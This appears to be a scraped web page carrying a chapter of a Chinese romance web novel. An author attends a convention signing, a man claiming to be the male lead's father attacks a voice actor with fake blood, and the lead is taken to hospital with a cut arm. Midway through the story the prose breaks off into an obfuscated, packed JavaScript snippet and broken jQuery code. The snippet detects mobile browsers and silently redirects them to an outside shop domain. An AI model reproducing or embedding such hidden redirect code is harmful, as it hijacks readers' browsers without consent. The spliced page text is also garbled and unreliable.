盛漾转身看向江霁紧闭的房门,片刻,她提起蛋糕,挂回了他的门把手上。
没有了感情的束缚,盛漾的生活又回归了往常。
她白天睡觉,晚上码字,仿佛之前和江霁的相处,只是一场无关紧要的梦境。
梦醒了,人也就散了。
存稿突破十万字的那天,盛漾终于开了新书。
新书的名字叫《梦河》,一上线就荣登升温APP新书榜第一名的宝座。
没开书之前,书粉们急得抓耳挠腮,天天在她的评论区花式催更。
如今得偿所愿,评论区的热度依旧居高不下。
因为她们又开始喊她加更了。
稳定更新半个多月,总算到了《梦河》入V的日子。
爆更三万字后,盛漾打算去隔壁镇上转转。
行李打包到一半时,锦鲤打来了电话。
“亲爱的编辑大大,我不是已经爆更了吗?请问还有什么吩咐?”盛漾把两件厚卫衣丢进行李箱。
“这周末经川国际会展中心要举办一场漫展,刚好《长夜》才出版没多久,出版社想让我问问你愿不愿意办场签售会。”
“签售会?”盛漾停下手里的活儿,“很多人吗?”
“你要是害羞可以戴口罩。”
刚好最近没事做,盛漾正想换个心情。毕竟整天坐在房间里写书,人都要发霉了,“好。”
“那你后天中午一点左右赶到国际会展中心就行,我来接你进去。”锦鲤又叮嘱了她一些注意事项,便匆匆挂断了电话。
出游的机会泡汤了,盛漾怏怏地把衣服塞回衣柜。
她随便吃了几口泡面打算休息,转念想起漫展的事情,就又撑着精神在微博上搜索起了官方消息。
不搜还好,一搜,她在嘉宾里看到了一个熟悉的名字——
江霁。
盛漾本来还焦虑,可转念一想,CV签售在三楼,作者签售在二楼。
即便两个人之间的缘分再强,她也不可能穿过楼梯看见他。
想到此,盛漾缓缓松了口气。
-
两天后,漫展如约而至。
盛漾穿了身长袖长裤,又戴上帽子口罩墨镜,把自己包裹的严严实实。
锦鲤来接她的时候,差点跟她擦肩而过。
“......你这是什么打扮?”
盛漾压低帽檐,“我只是不太喜欢露脸。”
其实这只是其一,其二,是不想被熟人看见,徒增烦恼。
“二楼的空调不是很靠谱,你打扮成这样估计会很热。”
盛漾把领子拉得更高了些,“没事,我从小就很抗热。”
锦鲤无奈摇摇头,带着盛漾往二楼的签售区走。
“签售两点半开始,一直到下午五点半,你可以慢慢准备。”
盛漾的目光不自觉游离到更高一层,“三楼也是签售会?”
“三楼是CV签售,他们上午就在了。”
签售会还没开始,展区前就开始大排长龙了。
书粉们人手三五本《长夜》,恨不得把盛漾包场。
锦鲤俯在她耳边低语:“本次签售支持To签,每位书粉限签两本书。不要交流太长时间。”
盛漾还是第一次面对这么大阵仗,心里多少有点紧张,“好。”
时间一分一秒过去,签售正式开始。
盛漾签的手都要冒火星子了,一直低着头像流水线上的工人,偶尔一起拍张合影,累得几乎要晕过去。
本来跟江霁一个楼上一个楼下,她心里还有点芥蒂的,结果到最后结束,她恨不得爬回家。
会展中心的人陆陆续续散去,盛漾趴在桌上,有出气没进气。
锦鲤走过来摸摸她的头,“走吧,出版社请吃饭。”
盛漾摆摆手,“我现在只想回家睡觉。”
锦鲤不禁失笑,“特签能签一万份的大神,也会觉得签售累?”
“我宁愿在房间签两万,也不想在这里签两个小时了。”
盛漾撑着桌子爬起来,忽然看到大批保安往楼上跑。
她好奇地歪着头看,“出什么事了?”
“不知道。”锦鲤也很好奇,拦下一个工作人员问了问。
“哦,楼上来了个破皮无赖。签售会结束了也不肯走,非要见陈老师。”
“陈老师?”盛漾莫名觉得不对劲。
“就是陈简川,”工作人员继续道,“反正他看上去挺激动的,不知道会发生什么过激的事情,就让保安们先拦一下了......”
话还没说完,楼上的人忽然惊呼起来。
盛漾心里一紧,跟在保安身后跑上了楼。
三楼的情景非常恐怖。
保安们正把一个五六十岁的男人摁在地上,陈简川则是被江霁和姜沐鱼保护在身后,雪白的衬衫上都是猩红的液体,不知道是血还是什么。
盛漾被吓得愣在原地不知所措。
工作人员已经报了警,等待警察的功夫,男人忽然对着角落一个举着相机的娱乐记者哈哈大笑起来。
“我是江霁的父亲!我叫沈友利!这个小崽子跟着他妈跑了,丢下我不管,还改了姓氏,大逆不道,大逆不道!哈哈哈哈哈......”
沈友利的笑声很是凄厉,下一瞬就被保安捂住了嘴。
不多时警察赶了过来,将沈友利带走了。
现场顿时安静了。
江霁皱着眉头抬眼,看到楼梯口的盛漾,脸色一白。
盛漾也顾不得腿软,跑上前查看陈简川的情况,“你怎么了?”
陈简川抹了把脸上的血水,话语里尽是晦气,“血浆,我没事。”
盛漾这才放心,“吓死了。”
姜沐鱼看她和江霁有点不对劲,忙戳戳她袖口,“虽然陈简川没事,但是刚才江霁跟他父亲夺血浆瓶子的时候,被碎玻璃划伤了手臂。”
她声音不大,在场的人却刚好都能听到。
“要打120吗?”锦鲤在一旁不明所以。
虽然她不知道到底发生了什么,但是这三个CV她熟啊!
“不用。”江霁把袖子放下去,挡住不断渗血的划痕。
“我看看。”盛漾转身来到他面前,语气冷淡。
江霁捂着胳膊,“......不用了。”
“快点!”盛漾语气生硬。
江霁只好把胳膊交了出去。
盛漾皱着眉心把他的袖子挽上去,触目惊心的伤口映入眼帘,足足有十公分那么长。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451284|140715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
盛漾心揪的疼,“去医院。”
她拉着江霁的手腕准备离开,却被他拦住,“不是大事。”
盛漾停下脚步,平静了许久才回头,眼圈却红的骇人,“我说去医院。”
陈简川走过来,“江霁,你还是去一下吧,万一感染了多可怕。我跟姜沐鱼去做笔录,如果需要你,我再给你打电话。”
“你要是不去,”盛漾扭开脸,“我就再也不管你了。”
江霁无奈地垂下头,半晌,叹了口气,“走吧。”
盛漾拉着他打了车,二人一同赶往医院。
一路上两个人什么都没说,到了医院做检查也没交流一句。
直到护士喊江霁去缝针,盛漾才没忍住吸了吸鼻子。眼泪顺着眼尾滑到嘴边,被她背过身擦去。
江霁静静望着她单薄的身影,终是不忍,拉过她的手帮她把脸上的泪痕擦干净。
“别哭了,”江霁虚揽着她,“我错了。”
盛漾别过头不看他。
“护士要帮我缝针了,你去外面等我吧。”江霁怕她看见害怕。
“我不出去,”盛漾倔得像头小牛,“我就在这里看着你。真想让护士不给你打麻药,好好治治你这个不会长嘴的毛病。”
江霁轻笑出声,眼神却疲累,“签售会顺利吗?”
看他嘴唇都痛白了,盛漾于心不忍,语气软下来,“都这种情况了,你还关心我的签售会?”
“要不然说什么?”江霁温柔地摩挲着她的手背,“好像目前只有这个话题,不会让你更生气了。”
“家属回避一下,”护士打开门,“我要缝针了。”
盛漾从他怀里退出来,“我在门口等你。”
缝针的过程尤其漫长。
盛漾坐在空调下面,脊背越来越凉。
沈友利的话仿佛上了发条的钟,在她心里不停晃动。
我是江霁的父亲!我叫沈友利!
这个小崽子跟着他妈跑了,丢下我不管,还改了姓氏,大逆不道,大逆不道!
哈哈哈哈哈......
为什么以前从来没听他说过这些事情呢?
真相又真的像沈友利说的那样,他是抛家弃父的不孝子吗?
不是的。
盛漾不相信。
只是沈友利这样一闹,估计江霁人品恶劣的谣言就会满天飞了。
还不知道警方那边要怎么处理这件事,但不管怎么处理,明天都会是一场腥风血雨。
“想什么呢?”
盛漾的思绪被打断了。
江霁捂着包扎好的胳膊从屋里走出来。
“吊完消炎针再走。”护士又带着两人去病房打针。
这期间盛漾一直跟在他身侧,寸步不离,就连眼神都没有一丝偏差。
直到护士离开,她才卸了力,在旁边的空床位上坐下来。
江霁伸手去摸手机,被盛漾打断,“做什么?”
“我想问问陈简川事情处理的怎么样了。”
“不用,”盛漾站起身,“我联系过陈简川了,他说一有情况就会跟我汇报。”
她走到江霁床前,阴恻恻地盯着他。
“这么多天没见,你就没有什么想对我说的吗?”